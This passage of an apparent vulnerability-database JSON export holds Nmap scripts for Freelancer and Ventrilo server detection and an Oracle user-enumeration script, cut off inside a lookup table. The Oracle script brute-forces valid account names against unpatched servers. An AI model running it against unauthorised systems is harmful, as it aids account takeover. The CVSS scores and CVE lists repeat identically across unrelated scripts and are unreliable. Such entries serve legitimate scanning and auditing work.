"UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2013-11-20T04:31:31", "type": "nmap", "title": "freelancer-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-03-13T14:58:56", "id": "NMAP:FREELANCER-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/freelancer-info.html", "sourceData": "local comm = require \"comm\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal string = require \"string\"\nlocal stdnse = require \"stdnse\"\n\ndescription = [[\nDetects the Freelancer game server (FLServer.exe) service by sending a\nstatus query UDP probe.\n\nWhen run as a version detection script (<code>-sV</code>), the script\nwill report on the server name, current number of players, maximum\nnumber of players, and whether it has a password set. When run\nexplicitly (<code>--script freelancer-info</code>), the script will\nadditionally report on the server description, whether players can harm\nother players, and whether new players are allowed.\n\nSee http://sourceforge.net/projects/gameq/\n(relevant files: games.ini, packets.ini, freelancer.php)\n]]\n\n---\n-- @usage\n-- nmap -sU -sV -p 2302 <target>\n-- nmap -sU -p 2302 --script=freelancer-info <target>\n-- @output\n-- PORT STATE SERVICE REASON VERSION\n-- 2302/udp open freelancer udp-response Freelancer (name: Discovery Freelancer RP 24/7; players: 152/225; password: no)\n-- | freelancer-info:\n-- | server name: Discovery Freelancer RP 24/7\n-- | server description: This is the official discovery freelancer RP server. To know more about the server, please visit www.discoverygc.com\n-- | players: 152\n-- | max. players: 225\n-- | password: no\n-- | allow players to harm other players: yes\n-- |_ allow new players: yes\n--\n-- @xmloutput\n-- <elem key=\"server name\">Discovery Freelancer RP 24/7</elem>\n-- <elem key=\"server description\">This is the official discovery freelancer RP server. To know more about the server, please visit www.discoverygc.com</elem>\n-- <elem key=\"players\">152</elem>\n-- <elem key=\"max. players\">225</elem>\n-- <elem key=\"password\">no</elem>\n-- <elem key=\"allow players to harm other players\">yes</elem>\n-- <elem key=\"allow new players\">yes</elem>\n\nauthor = \"Marin Mar\u017ei\u0107\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = { \"default\", \"discovery\", \"safe\", \"version\" }\n\nportrule = shortport.version_port_or_service({2302}, \"freelancer\", \"udp\")\n\naction = function(host, port)\n local status, data = comm.exchange(host, port,\n \"\\x00\\x02\\xf1\\x26\\x01\\x26\\xf0\\x90\\xa6\\xf0\\x26\\x57\\x4e\\xac\\xa0\\xec\\xf8\\x68\\xe4\\x8d\\x21\",\n { timeout = 3000 })\n if not status then\n return\n end\n\n -- port is open\n nmap.set_port_state(host, port, \"open\")\n\n local passwordbyte, maxplayers, numplayers, name, pvpallow, newplayersallow, description =\n string.match(data, \"^\\x00\\x03\\xf1\\x26............(.)...(.)...(.)...................................................................(.*)\\0\\0(.):(.):.*:.*:.*:(.*)\\0\\0$\")\n if not passwordbyte then\n return\n end\n\n local o = stdnse.output_table()\n\n o[\"server name\"] = string.gsub(name, \"[^%g%s]\", \"\")\n o[\"server description\"] = string.gsub(description, \"[^%g%s]\", \"\")\n o[\"players\"] = numplayers:byte(1) - 1\n o[\"max. players\"] = maxplayers:byte(1) - 1\n\n passwordbyte = passwordbyte:byte(1)\n if passwordbyte & 128 ~= 0 then\n o[\"password\"] = \"yes\"\n else\n o[\"password\"] = \"no\"\n end\n\n o[\"allow players to harm other players\"] = \"n/a\"\n if pvpallow == \"1\" then\n o[\"allow players to harm other players\"] = \"yes\"\n elseif pvpallow == \"0\" then\n o[\"allow players to harm other players\"] = \"no\"\n end\n\n o[\"allow new players\"] = \"n/a\"\n if newplayersallow == \"1\" then\n o[\"allow new players\"] = \"yes\"\n elseif newplayersallow == \"0\" then\n o[\"allow new players\"] = \"no\"\n end\n\n port.version.name = \"freelancer\"\n port.version.name_confidence = 10\n port.version.product = \"Freelancer\"\n port.version.extrainfo = \"name: \" .. o[\"server name\"] .. \"; players: \" ..\n o[\"players\"] .. \"/\" .. o[\"max. players\"] .. \"; password: \" .. o[\"password\"]\n\n nmap.set_port_version(host, port, \"hardmatched\")\n\n return o\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:39:06", "description": "Attempts to enumerate valid Oracle user names against unpatched Oracle 11g servers (this bug was fixed in Oracle's October 2009 Critical Patch Update).\n\n## Script Arguments \n\n#### oracle-enum-users.sid \n\nthe instance against which to attempt user enumeration\n\n#### tns.sid \n\nSee the documentation for the [tns](<../lib/tns.html#script-args>) library. \n\n#### passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdb \n\nSee the documentation for the [unpwdb](<../lib/unpwdb.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt -p 1521-1560 <host>\n \n If no userdb is supplied the default userlist is used\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 1521/tcp open oracle syn-ack\n | oracle-enum-users:\n | haxxor is a valid user account\n | noob is a valid user account\n |_ patrik is a valid user account\n \n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n * [tns](<../lib/tns.html>)\n * [unpwdb](<../lib/unpwdb.html>)\n * [rand](<../lib/rand.html>)\n * [openssl](<../lib/openssl.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-08-19T23:09:32", "type": "nmap", "title": "oracle-enum-users NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-08T17:07:06", "id": "NMAP:ORACLE-ENUM-USERS.NSE", "href": "https://nmap.org/nsedoc/scripts/oracle-enum-users.html", "sourceData": "local nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\nlocal tns = require \"tns\"\nlocal unpwdb = require \"unpwdb\"\nlocal rand = require \"rand\"\n\nlocal openssl = stdnse.silent_require \"openssl\"\n\ndescription = [[\nAttempts to enumerate valid Oracle user names against unpatched Oracle 11g\nservers (this bug was fixed in Oracle's October 2009 Critical Patch Update).\n]]\n\n---\n-- @usage\n-- nmap --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt -p 1521-1560 <host>\n--\n-- If no userdb is supplied the default userlist is used\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 1521/tcp open oracle syn-ack\n-- | oracle-enum-users:\n-- | haxxor is a valid user account\n-- | noob is a valid user account\n-- |_ patrik is a valid user account\n--\n-- @args oracle-enum-users.sid the instance against which to attempt user\n-- enumeration\n\n-- Version 0.3\n\n-- Created 12/07/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>\n-- Revised 21/07/2010 - v0.2 - revised to work with patched systems <patrik>\n-- Revised 21/07/2010 - v0.3 - removed references to smb in get_random_string\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"intrusive\", \"auth\"}\n\n\nportrule = shortport.port_or_service(1521, 'oracle-tns' )\n\nlocal function checkAccount( host, port, user )\n\n local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] )\n local status, data = helper:Connect()\n local tnscomm, auth\n local auth_options = tns.AuthOptions:new()\n\n\n if ( not(status) ) then\n return false, data\n end\n\n -- A bit ugly, the helper should probably provide a getSocket function\n tnscomm = tns.Comm:new( helper.tnssocket )\n\n status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) )\n if ( not(status) ) then\n return false, auth\n end\n helper:Close()\n\n return true, auth[\"AUTH_VFR_DATA\"]\nend\n\nlocal function fail (err) return stdnse.format_output(false, err) end\n\naction = function( host, port )\n\n local known_good_accounts = { \"system\", \"sys\", \"dbsnmp\", \"scott\" }\n\n local status, salt\n local count = 0\n local result = {}\n local usernames\n\n if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then\n return fail(\"Oracle instance not set (see oracle-enum-users.sid or tns.sid)\")\n end\n\n status, usernames = unpwdb.usernames()\n if( not(status) ) then\n return fail(\"Failed to load the usernames dictionary\")\n end\n\n -- Check for some known good accounts\n for _, user in ipairs( known_good_accounts ) do\n status, salt = checkAccount(host, port, user)\n if( not(status) ) then return salt end\n if ( salt ) then\n count = count + #salt\n end\n end\n\n -- did we atleast get a single salt back?\n if ( count < 20 ) then\n return fail(\"None of the known accounts were detected (oracle < 11g)\")\n end\n\n -- Check for some known bad accounts\n count = 0\n for i=1, 10 do\n local user = rand.random_string(10,\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_\")\n status, salt = checkAccount(host, port, user)\n if( not(status) ) then return salt end\n if ( salt ) then\n count = count + #salt\n end\n end\n\n -- It's unlikely that we hit 3 random combinations as valid users\n if ( count > 60 ) then\n return fail((\"%d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)\"):format(count/20, 10))\n end\n\n for user in usernames do\n status, salt = checkAccount(host, port, user)\n if ( not(status) ) then return salt end\n if ( salt and #salt == 20 ) then\n table.insert( result, (\"%s is a valid user account\"):format(user))\n end\n end\n\n if ( #result == 0 ) then\n table.insert( result, \"Failed to find any valid user accounts\")\n end\n\n return stdnse.format_output(true, result)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:33:02", "description": "Detects the Ventrilo voice communication server service versions 2.1.2 and above and tries to determine version and configuration information. Some of the older versions (pre 3.0.0) may not have the UDP service that this probe relies on enabled by default. \n\nThe Ventrilo server listens on a TCP (voice/control) and an UDP (ping/status) port with the same port number (fixed to 3784 in the free version, otherwise configurable). This script activates on both a TCP and UDP port version scan. In both cases probe data is sent only to the UDP port because it allows for a simple and informative status command as implemented by the `ventrilo_status.exe` executable which has shipped alongside the Windows server package since version 2.1.2 when the UDP status service was implemented. \n\nWhen run as a version detection script (`-sV`), the script will report on the server version, name, uptime, authentication scheme, and OS. When run explicitly (`--script ventrilo-info`), the script will additionally report on the server name phonetic pronunciation string, the server comment, maximum number of clients, voice codec, voice format, channel and client counts, and details about channels and currently connected clients. \n\nOriginal reversing of the protocol was done by Luigi Auriemma (<http://aluigi.altervista.org/papers.htm#ventrilo>).\n\n## Example Usage \n\n * nmap -sV <target>\n\n * nmap -Pn -sU -sV --script ventrilo-info -p <port> <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE VERSION\n 9408/tcp open ventrilo Ventrilo 3.0.3.C (voice port; name: TypeFrag.com; uptime: 152h:56m; auth: pw)\n | ventrilo-info:\n | name: TypeFrag.com\n | phonetic: Type Frag Dot Com\n | comment: http://www.typefrag.com/\n | auth: pw\n | max. clients: 100\n | voice codec: 3,Speex\n | voice format: 32,32 KHz%2C 16 bit%2C 10 Qlty\n | uptime: 152h:56m\n | platform: WIN32\n | version: 3.0.3.C\n | channel count: 14\n | channel fields: CID, PID, PROT, NAME, COMM\n | client count: 6\n | client fields: ADMIN, CID, PHAN, PING, SEC, NAME, COMM\n | channels:\n | <top level lobby> (CID: 0, PID: n/a, PROT: n/a, COMM: n/a): <empty>\n | Group 1 (CID: 719, PID: 0, PROT: 0, COMM: ):\n | stabya (ADMIN: 0, PHAN: 0, PING: 47, SEC: 206304, COMM:\n | Group 2 (CID: 720, PID: 0, PROT: 0, COMM: ): <empty>\n | Group 3 (CID: 721, PID: 0, PROT: 0, COMM: ): <empty>\n | Group 4 (CID: 722, PID: 0, PROT: 0, COMM: ): <empty>\n | Group 5 (CID: 723, PID: 0, PROT: 0, COMM: ):\n | Sir Master Win (ADMIN: 0, PHAN: 0, PING: 32, SEC: 186890, COMM:\n | waterbukk (ADMIN: 0, PHAN: 0, PING: 31, SEC: 111387, COMM:\n | likez (ADMIN: 0, PHAN: 0, PING: 140, SEC: 22457, COMM:\n | Tweet (ADMIN: 0, PHAN: 0, PING: 140, SEC: 21009, COMM:\n | Group 6 (CID: 724, PID: 0, PROT: 0, COMM: ): <empty>\n | Raid (CID: 725, PID: 0, PROT: 0, COMM: ): <empty>\n | Officers (CID: 726, PID: 0, PROT: 1, COMM: ): <empty>\n | PG 13 (CID: 727, PID: 0, PROT: 0, COMM: ): <empty>\n | Rated R (CID: 728, PID: 0, PROT: 0, COMM: ): <empty>\n | Group 7 (CID: 729, PID: 0, PROT: 0, COMM: ): <empty>\n | Group 8 (CID: 730, PID: 0, PROT: 0, COMM: ): <empty>\n | Group 9 (CID: 731, PID: 0, PROT: 0, COMM: ): <empty>\n | AFK - switch to this when AFK (CID: 732, PID: 0, PROT: 0, COMM: ):\n |_ Eisennacher (ADMIN: 0, PHAN: 0, PING: 79, SEC: 181948, COMM:\n Service Info: OS: WIN32\n \n\n## Requires \n\n * [stdnse](<../lib/stdnse.html>)\n * [math](<>)\n * [nmap](<../lib/nmap.html>)\n * [strbuf](<../lib/strbuf.html>)\n * [string](<>)\n * [table](<>)\n * [shortport](<../lib/shortport.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2013-01-16T00:29:05", "type": "nmap", "title": "ventrilo-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-03-13T14:58:56", "id": "NMAP:VENTRILO-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/ventrilo-info.html", "sourceData": "local stdnse = require \"stdnse\"\nlocal math = require \"math\"\nlocal nmap = require \"nmap\"\nlocal strbuf = require \"strbuf\"\nlocal string = require \"string\"\nlocal table = require \"table\"\nlocal shortport = require \"shortport\"\n\ndescription = [[\nDetects the Ventrilo voice communication server service versions 2.1.2\nand above and tries to determine version and configuration\ninformation. Some of the older versions (pre 3.0.0) may not have the\nUDP service that this probe relies on enabled by default.\n\nThe Ventrilo server listens on a TCP (voice/control) and an UDP (ping/status)\nport with the same port number (fixed to 3784 in the free version, otherwise\nconfigurable). This script activates on both a TCP and UDP port version scan.\nIn both cases probe data is sent only to the UDP port because it allows for a\nsimple and informative status command as implemented by the\n<code>ventrilo_status.exe</code> executable which has shipped alongside the Windows server\npackage since version 2.1.2 when the UDP status service was implemented.\n\nWhen run as a version detection script (<code>-sV</code>), the script will report on the\nserver version, name, uptime, authentication scheme, and OS. When run\nexplicitly (<code>--script ventrilo-info</code>), the script will additionally report on the\nserver name phonetic pronunciation string, the server comment, maximum number\nof clients, voice codec, voice format, channel and client counts, and details\nabout channels and currently connected clients.\n\nOriginal reversing of the protocol was done by Luigi Auriemma\n(http://aluigi.altervista.org/papers.htm#ventrilo).\n]]\n\n---\n-- @usage\n-- nmap -sV <target>\n-- @usage\n-- nmap -Pn -sU -sV --script ventrilo-info -p <port> <target>\n--\n-- @output\n-- PORT STATE SERVICE VERSION\n-- 9408/tcp open ventrilo Ventrilo 3.0.3.C (voice port; name: TypeFrag.com; uptime: 152h:56m; auth: pw)\n-- | ventrilo-info:\n-- | name: TypeFrag.com\n-- | phonetic: Type Frag Dot Com\n-- | comment: http://www.typefrag.com/\n-- | auth: pw\n-- | max. clients: 100\n-- | voice codec: 3,Speex\n-- | voice format: 32,32 KHz%2C 16 bit%2C 10 Qlty\n-- | uptime: 152h:56m\n-- | platform: WIN32\n-- | version: 3.0.3.C\n-- | channel count: 14\n-- | channel fields: CID, PID, PROT, NAME, COMM\n-- | client count: 6\n-- | client fields: ADMIN, CID, PHAN, PING, SEC, NAME, COMM\n-- | channels:\n-- | <top level lobby> (CID: 0, PID: n/a, PROT: n/a, COMM: n/a): <empty>\n-- | Group 1 (CID: 719, PID: 0, PROT: 0, COMM: ):\n-- | stabya (ADMIN: 0, PHAN: 0, PING: 47, SEC: 206304, COMM:\n-- | Group 2 (CID: 720, PID: 0, PROT: 0, COMM: ): <empty>\n-- | Group 3 (CID: 721, PID: 0, PROT: 0, COMM: ): <empty>\n-- | Group 4 (CID: 722, PID: 0, PROT: 0, COMM: ): <empty>\n-- | Group 5 (CID: 723, PID: 0, PROT: 0, COMM: ):\n-- | Sir Master Win (ADMIN: 0, PHAN: 0, PING: 32, SEC: 186890, COMM:\n-- | waterbukk (ADMIN: 0, PHAN: 0, PING: 31, SEC: 111387, COMM:\n-- | likez (ADMIN: 0, PHAN: 0, PING: 140, SEC: 22457, COMM:\n-- | Tweet (ADMIN: 0, PHAN: 0, PING: 140, SEC: 21009, COMM:\n-- | Group 6 (CID: 724, PID: 0, PROT: 0, COMM: ): <empty>\n-- | Raid (CID: 725, PID: 0, PROT: 0, COMM: ): <empty>\n-- | Officers (CID: 726, PID: 0, PROT: 1, COMM: ): <empty>\n-- | PG 13 (CID: 727, PID: 0, PROT: 0, COMM: ): <empty>\n-- | Rated R (CID: 728, PID: 0, PROT: 0, COMM: ): <empty>\n-- | Group 7 (CID: 729, PID: 0, PROT: 0, COMM: ): <empty>\n-- | Group 8 (CID: 730, PID: 0, PROT: 0, COMM: ): <empty>\n-- | Group 9 (CID: 731, PID: 0, PROT: 0, COMM: ): <empty>\n-- | AFK - switch to this when AFK (CID: 732, PID: 0, PROT: 0, COMM: ):\n-- |_ Eisennacher (ADMIN: 0, PHAN: 0, PING: 79, SEC: 181948, COMM:\n-- Service Info: OS: WIN32\n--\n-- @xmloutput\n-- <elem key=\"phonetic\">Type Frag Dot Com</elem>\n-- <elem key=\"comment\">http://www.typefrag.com/</elem>\n-- <elem key=\"auth\">1</elem>\n-- <elem key=\"maxclients\">100</elem>\n-- <elem key=\"voicecodec\">3,Speex</elem>\n-- <elem key=\"voiceformat\">32,32 KHz%2C 16 bit%2C 10 Qlty</elem>\n-- <elem key=\"uptime\">551533</elem>\n-- <elem key=\"platform\">WIN32</elem>\n-- <elem key=\"version\">3.0.3.C</elem>\n-- <elem key=\"channelcount\">14</elem>\n-- <table key=\"channelfields\">\n-- <elem>CID</elem>\n-- <elem>PID</elem>\n-- <elem>PROT</elem>\n-- <elem>NAME</elem>\n-- <elem>COMM</elem>\n-- </table>\n-- <table key=\"channels\">\n-- <table key=\"0\">\n-- <elem key=\"NAME\"><top level lobby></elem>\n-- <elem key=\"CID\">0</elem>\n-- </table>\n-- <table key=\"363\">\n-- <elem key=\"CID\">363</elem>\n-- <elem key=\"PID\">0</elem>\n-- <elem key=\"PROT\">0</elem>\n-- <elem key=\"NAME\">Group 1</elem>\n-- <elem key=\"COMM\"></elem>\n-- <table key=\"clients\">\n-- <table>\n-- <elem key=\"ADMIN\">0</elem>\n-- <elem key=\"CID\">363</elem>\n-- <elem key=\"PHAN\">0</elem>\n-- <elem key=\"PING\">47</elem>\n-- <elem key=\"SEC\">207276</elem>\n-- <elem key=\"NAME\">stabya</elem>\n-- <elem key=\"COMM\"></elem>\n-- </table>\n-- </table>\n-- </table>\n-- <!-- Channels other than the first and last cut for brevity -->\n-- <table key=\"376\">\n-- <elem key=\"CID\">376</elem>\n-- <elem key=\"PID\">0</elem>\n-- <elem key=\"PROT\">0</elem>\n-- <elem key=\"NAME\">AFK - switch to this when AFK</elem>\n-- <elem key=\"COMM\"></elem>\n-- <table key=\"clients\">\n-- <table>\n-- <elem key=\"ADMIN\">0</elem>\n-- <elem key=\"CID\">376</elem>\n-- <elem key=\"PHAN\">0</elem>\n-- <elem key=\"PING\">78</elem>\n-- <elem key=\"SEC\">182920</elem>\n-- <elem key=\"NAME\">Eisennacher</elem>\n-- <elem key=\"COMM\"></elem>\n-- </table>\n-- </table>\n-- </table>\n-- </table>\n-- <elem key=\"clientcount\">6</elem>\n-- <table key=\"clientfields\">\n-- <elem>ADMIN</elem>\n-- <elem>CID</elem>\n-- <elem>PHAN</elem>\n-- <elem>PING</elem>\n-- <elem>SEC</elem>\n-- <elem>NAME</elem>\n-- <elem>COMM</elem>\n-- </table>\n\nauthor = \"Marin Mar\u017ei\u0107\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = { \"default\", \"discovery\", \"safe\", \"version\" }\n\nlocal crypt_head = {\n 0x80,0xe5,0x0e,0x38,0xba,0x63,0x4c,0x99,0x88,0x63,0x4c,0xd6,0x54,0xb8,0x65,0x7e,\n 0xbf,0x8a,0xf0,0x17,0x8a,0xaa,0x4d,0x0f,0xb7,0x23,0x27,0xf6,0xeb,0x12,0xf8,0xea,\n 0x17,0xb7,0xcf,0x52,0x57,0xcb,0x51,0xcf,0x1b,0x14,0xfd,0x6f,0x84,0x38,0xb5,0x24,\n 0x11,0xcf,0x7a,0x75,0x7a,0xbb,0x78,0x74,0xdc,0xbc,0x42,0xf0,0x17,0x3f,0x5e,0xeb,\n 0x74,0x77,0x04,0x4e,0x8c,0xaf,0x23,0xdc,0x65,0xdf,0xa5,0x65,0xdd,0x7d,0xf4,0x3c,\n 0x4c,0x95,0xbd,0xeb,0x65,0x1c,0xf4,0x24,0x5d,0x82,0x18,0xfb,0x50,0x86,0xb8,0x53,\n 0xe0,0x4e,0x36,0x96,0x1f,0xb7,0xcb,0xaa,0xaf,0xea,0xcb,0x20,0x27,0x30,0x2a,0xae,\n 0xb9,0x07,0x40,0xdf,0x12,0x75,0xc9,0x09,0x82,0x9c,0x30,0x80,0x5d,0x8f,0x0d,0x09,\n 0xa1,0x64,0xec,0x91,0xd8,0x8a,0x50,0x1f,0x40,0x5d,0xf7,0x08,0x2a,0xf8,0x60,0x62,\n 0xa0,0x4a,0x8b,0xba,0x4a,0x6d,0x00,0x0a,0x93,0x32,0x12,0xe5,0x07,0x01,0x65,0xf5,\n 0xff,0xe0,0xae,0xa7,0x81,0xd1,0xba,0x25,0x62,0x61,0xb2,0x85,0xad,0x7e,0x9d,0x3f,\n 0x49,0x89,0x26,0xe5,0xd5,0xac,0x9f,0x0e,0xd7,0x6e,0x47,0x94,0x16,0x84,0xc8,0xff,\n 0x44,0xea,0x04,0x40,0xe0,0x33,0x11,0xa3,0x5b,0x1e,0x82,0xff,0x7a,0x69,0xe9,0x2f,\n 0xfb,0xea,0x9a,0xc6,0x7b,0xdb,0xb1,0xff,0x97,0x76,0x56,0xf3,0x52,0xc2,0x3f,0x0f,\n 0xb6,0xac,0x77,0xc4,0xbf,0x59,0x5e,0x80,0x74,0xbb,0xf2,0xde,0x57,0x62,0x4c,0x1a,\n 0xff,0x95,0x6d,0xc7,0x04,0xa2,0x3b,0xc4,0x1b,0x72,0xc7,0x6c,0x82,0x60,0xd1,0x0d\n}\n\nlocal crypt_data = {\n 0x82,0x8b,0x7f,0x68,0x90,0xe0,0x44,0x09,0x19,0x3b,0x8e,0x5f,0xc2,0x82,0x38,0x23,\n 0x6d,0xdb,0x62,0x49,0x52,0x6e,0x21,0xdf,0x51,0x6c,0x76,0x37,0x86,0x50,0x7d,0x48,\n 0x1f,0x65,0xe7,0x52,0x6a,0x88,0xaa,0xc1,0x32,0x2f,0xf7,0x54,0x4c,0xaa,0x6d,0x7e,\n 0x6d,0xa9,0x8c,0x0d,0x3f,0xff,0x6c,0x09,0xb3,0xa5,0xaf,0xdf,0x98,0x02,0xb4,0xbe,\n 0x6d,0x69,0x0d,0x42,0x73,0xe4,0x34,0x50,0x07,0x30,0x79,0x41,0x2f,0x08,0x3f,0x42,\n 0x73,0xa7,0x68,0xfa,0xee,0x88,0x0e,0x6e,0xa4,0x70,0x74,0x22,0x16,0xae,0x3c,0x81,\n 0x14,0xa1,0xda,0x7f,0xd3,0x7c,0x48,0x7d,0x3f,0x46,0xfb,0x6d,0x92,0x25,0x17,0x36,\n 0x26,0xdb,0xdf,0x5a,0x87,0x91,0x6f,0xd6,0xcd,0xd4,0xad,0x4a,0x29,0xdd,0x7d,0x59,\n 0xbd,0x15,0x34,0x53,0xb1,0xd8,0x50,0x11,0x83,0x79,0x66,0x21,0x9e,0x87,0x5b,0x24,\n 0x2f,0x4f,0xd7,0x73,0x34,0xa2,0xf7,0x09,0xd5,0xd9,0x42,0x9d,0xf8,0x15,0xdf,0x0e,\n 0x10,0xcc,0x05,0x04,0x35,0x81,0xb2,0xd5,0x7a,0xd2,0xa0,0xa5,0x7b,0xb8,0x75,0xd2,\n 0x35,0x0b,0x39,0x8f,0x1b,0x44,0x0e,0xce,0x66,0x87,0x1b,0x64,0xac,0xe1,0xca,0x67,\n 0xb4,0xce,0x33,0xdb,0x89,0xfe,0xd8,0x8e,0xcd,0x58,0x92,0x41,0x50,0x40,0xcb,0x08,\n 0xe1,0x15,0xee,0xf4,0x64,0xfe,0x1c,0xee,0x25,0xe7,0x21,0xe6,0x6c,0xc6,0xa6,0x2e,\n 0x52,0x23,0xa7,0x20,0xd2,0xd7,0x28,0x07,0x23,0x14,0x24,0x3d,0x45,0xa5,0xc7,0x90,\n 0xdb,0x77,0xdd,0xea,0x38,0x59,0x89,0x32,0xbc,0x00,0x3a,0x6d,0x61,0x4e,0xdb,0x29\n}\n\nlocal crypt_crc = {\n 0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,\n 0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,\n 0x1231,0x0210,0x3273,0x2252,0x52b5,0x4294,0x72f7,0x62d6,\n 0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de,\n 0x2462,0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485,\n 0xa56a,0xb54b,0x8528,0x9509,0xe5ee,0xf5cf,0xc5ac,0xd58d,\n 0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6,0x5695,0x46b4,\n 0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc,\n 0x48c4,0x58e5,0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823,\n 0xc9cc,0xd9ed,0xe98e,0xf9af,0x8948,0x9969,0xa90a,0xb92b,\n 0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a33,0x2a12,\n 0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a,\n 0x6ca6,0x7c87,0x4ce4,0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41,\n 0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,0xbd0b,0x8d68,0x9d49,\n 0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e70,\n 0xff9f,0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78,\n 0x9188,0x81a9,0xb1ca,0xa1eb,0xd10c,0xc12d,0xf14e,0xe16f,\n 0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x4025,0x7046,0x6067,\n 0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e,\n 0x02b1,0x1290,0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256,\n 0xb5ea,0xa5cb,0x95a8,0x8589,0xf56e,0xe54f,0xd52c,0xc50d,\n 0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x5424,0x4405,\n 